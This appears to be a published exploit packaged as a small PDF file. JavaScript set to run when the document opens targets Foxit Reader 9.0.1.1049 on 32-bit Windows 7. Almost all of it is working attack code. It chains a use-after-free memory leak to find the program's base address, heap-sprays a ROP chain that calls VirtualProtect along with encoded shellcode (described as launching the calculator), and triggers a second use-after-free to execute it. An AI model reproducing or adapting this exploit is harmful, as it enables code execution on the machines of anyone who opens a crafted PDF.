1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 |
%PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( /* # Exploit Title: Foxit Reader 9.0.1.1049 - Buffer Overflow (ASLR)(DEP) # Date: 2018-08-04 # Exploit Author: Manoj Ahuje # Tested on: Windows 7 Pro (x32) # Software Link: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English # Version: Foxit Reader 9.0.1.1049 # CVE: N/A # Credits to "Mr_Me" for Reseach and initial exploit #Details: #This exploit make use heap space to store the shellcode in addition to UAF bypassing ASLRand DEP to get successful payload execution */ var heap_ptr= 0; var foxit_base = 0; function heap_spray(size){ var arr = new Array(size); for (var i = 0; i < arr.length; i++) { // re-claim and stack pivot-0x8 arr[i] = new ArrayBuffer(0x10000-0x8);//0xFFF8 var claimed = new Int32Array(arr[i]); var c_length = claimed.length; /* custom made ROP chain virtualalloc call Author: Manoj Ahuje*/ claimed[0x00] = foxit_base + 0x01A65184; //# PUSH EAX # POP ESP # POP EDI # POP ESI # POP EBX # POP EBP # RETN claimed[0x01] = foxit_base + 0x01A65184; claimed[0x02] = foxit_base + 0x01A65184; claimed[0x03] = foxit_base + 0x01A65184; claimed[0x04] = foxit_base + 0x14f9195;// # POP EBX # RETN claimed[0x05] = foxit_base + 0x41414141; // claimed[0x06] = foxit_base + 0x1f224fc;// # ptr to &VirtualProtect() claimed[0x07] = foxit_base + 0x0e70281;// # MOV ESI,DWORD PTR DS:[EBX] # RETN claimed[0x08] = foxit_base + 0x1582698;// # POP EBP # RETN claimed[0x09] = foxit_base + 0xa0dbd;// # & jmp esp claimed[0x0a] = foxit_base + 0x14ed06d;// # POP EBX # RETN claimed[0x0b] = 0x00000201;// # 0x00000201-> ebx claimed[0x0c] = foxit_base + 0x1e62f7e;// # POP EDX # RETN claimed[0x0d] = 0x00000040;// # 0x00000040-> edx claimed[0x0e] = foxit_base + 0x1ec06a9;// # POP ECX # RETN claimed[0x0f] = foxit_base + 0x29bac74;// # &Writable location claimed[0x10] = foxit_base + 0xb971f;// # POP EDI # RETN claimed[0x11] = foxit_base + 0x177769e;// # RETN (ROP NOP) claimed[0x12] = foxit_base + 0x1A89808;// # POP EAX # RETN claimed[0x13] = 0x90909090;// # nop claimed[0x14] = foxit_base + 0x129d4f0;// # PUSHAD # RETN claimed[0x15] = 0x90909090; claimed[0x16] = 0x90909090; claimed[0x17] = 0x90909090; claimed[0x18] = 0x90909090; claimed[0x19] = 0x90909090; claimed[0x1a] = 0x90909090; //regular CALCULATOR shellcode claimed[0x1b] = 0xe5d9e389; claimed[0x1c] = 0x5af473d9; claimed[0x1d] = 0x4a4a4a4a; claimed[0x1e] = 0x4a4a4a4a; claimed[0x1f] = 0x434a4a4a; claimed[0x20] = 0x43434343; claimed[0x21] = 0x59523743; claimed[0x22] = 0x5058416a; claimed[0x23] = 0x41304130; claimed[0x24] = 0x5141416b; claimed[0x25] = 0x32424132; claimed[0x26] = 0x42304242; claimed[0x27] = 0x58424142; claimed[0x28] = 0x42413850; claimed[0x29] = 0x49494a75; claimed[0x2a] = 0x4e586b6c; claimed[0x2b] = 0x57306362; claimed[0x2c] = 0x53707770; claimed[0x2d] = 0x6b696e50; claimed[0x2e] = 0x39716455; claimed[0x2f] = 0x6e645050; claimed[0x30] = 0x6470426b; claimed[0x31] = 0x434b6c70; claimed[0x32] = 0x6e6c3662; claimed[0x33] = 0x7562436b; claimed[0x34] = 0x526b6e44; claimed[0x35] = 0x46686452; claimed[0x36] = 0x5037386f; claimed[0x37] = 0x6446764a; claimed[0x38] = 0x4e4f4b71; claimed[0x39] = 0x354c774c; claimed[0x3a] = 0x776c6131; claimed[0x3b] = 0x374c7672; claimed[0x3c] = 0x5a614a50; claimed[0x3d] = 0x374d746f; claimed[0x3e] = 0x38573971; claimed[0x3f] = 0x30525a62; claimed[0x40] = 0x6e376652; claimed[0x41] = 0x6252506b; claimed[0x42] = 0x624b6c30; claimed[0x43] = 0x6c4c576a; claimed[0x44] = 0x476c524b; claimed[0x45] = 0x6d387461; claimed[0x46] = 0x43587133; claimed[0x47] = 0x50513831; claimed[0x48] = 0x334b6c51; claimed[0x49] = 0x35506769; claimed[0x4a] = 0x6e534851; claimed[0x4b] = 0x7539576b; claimed[0x4c] = 0x54736948; claimed[0x4d] = 0x4e79637a; claimed[0x4e] = 0x6c64356b; claimed[0x4f] = 0x6a51354b; claimed[0x50] = 0x39514676; claimed[0x51] = 0x6f4c6e6f; claimed[0x52] = 0x444f4831; claimed[0x53] = 0x4861364d; claimed[0x54] = 0x6b783447; claimed[0x55] = 0x69357450; claimed[0x56] = 0x73337366; claimed[0x57] = 0x5568494d; claimed[0x58] = 0x474d436b; claimed[0x59] = 0x68357454; claimed[0x5a] = 0x4e686364; claimed[0x5b] = 0x6638466b; claimed[0x5c] = 0x59313344; claimed[0x5d] = 0x6c766143; claimed[0x5e] = 0x506c664b; claimed[0x5f] = 0x504b4c4b; claimed[0x60] = 0x656c4758; claimed[0x61] = 0x6c436951; claimed[0x62] = 0x6e34634b; claimed[0x63] = 0x6831436b; claimed[0x64] = 0x61694e50; claimed[0x65] = 0x65746554; claimed[0x66] = 0x514b5174; claimed[0x67] = 0x7351734b; claimed[0x68] = 0x427a6269; claimed[0x69] = 0x396f6971; claimed[0x6a] = 0x734f5170; claimed[0x6b] = 0x4e6a436f; claimed[0x6c] = 0x7832526b; claimed[0x6d] = 0x316d4e6b; claimed[0x6e] = 0x675a534d; claimed[0x6f] = 0x4f4d6c71; claimed[0x70] = 0x57324875; claimed[0x71] = 0x43707770; claimed[0x72] = 0x61306630; claimed[0x73] = 0x6e514678; claimed[0x74] = 0x6e6f706b; claimed[0x75] = 0x6b6f5967; claimed[0x76] = 0x784b4f65; claimed[0x77] = 0x39656d70; claimed[0x78] = 0x73565032; claimed[0x79] = 0x6c666c58; claimed[0x7a] = 0x6d6d4d55; claimed[0x7b] = 0x496f494d; claimed[0x7c] = 0x456c6545; claimed[0x7d] = 0x454c7356; claimed[0x7e] = 0x6b306b5a; claimed[0x7f] = 0x5370394b; claimed[0x80] = 0x4d453445; claimed[0x81] = 0x6567426b; claimed[0x82] = 0x70426343; claimed[0x83] = 0x376a506f; claimed[0x84] = 0x6b336670; claimed[0x85] = 0x3045694f; claimed[0x86] = 0x72313563; claimed[0x87] = 0x7633654c; claimed[0x88] = 0x4235754e; claimed[0x89] = 0x67354558; claimed[0x8a] = 0x00414170; for (var j = 0x8b; j < c_length; j++) { claimed[j] = 0x6d616e6a; } } } function leak(){ /* Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948 Found By: bit from meepwn team */ // alloc var a = this.addAnnot({type: "Text"}); // free a.destroy(); // reclaim var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); // leak the vftable var leaked = stolen[0] & 0xffff0000; // a hard coded offset to FoxitReader.exe base v9.0.1.1049 (sha1: a01a5bde0699abda8294d73544a1ec6b4115fa68) foxit_base = leaked-0x01f50000; } function reclaim(){ var arr = new Array(0x10); for (var i = 0; i < arr.length; i++) { arr[i] = new ArrayBuffer(0x60); var rop = new Int32Array(arr[i]); rop[0x00] = 0x11000048; for (var j = 0x01; j < rop.length; j++) { rop[j] = 0x71727374; } } } function trigger_uaf(){ /* Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958 Found By: Steven Seeley (mr_me) of Source Incite */ var that = this; var a = this.addAnnot({type:"Text", page: 0, name:"uaf"}); var arr = [1]; Object.defineProperties(arr,{ "0":{ get: function () { // free that.getAnnot(0, "uaf").destroy(); // reclaim freed memory reclaim(); return 1; } } }); a.point = arr; } leak(); heap_spray(0x1000); trigger_uaf(); )>> trailer <</Root 1 0 R>> |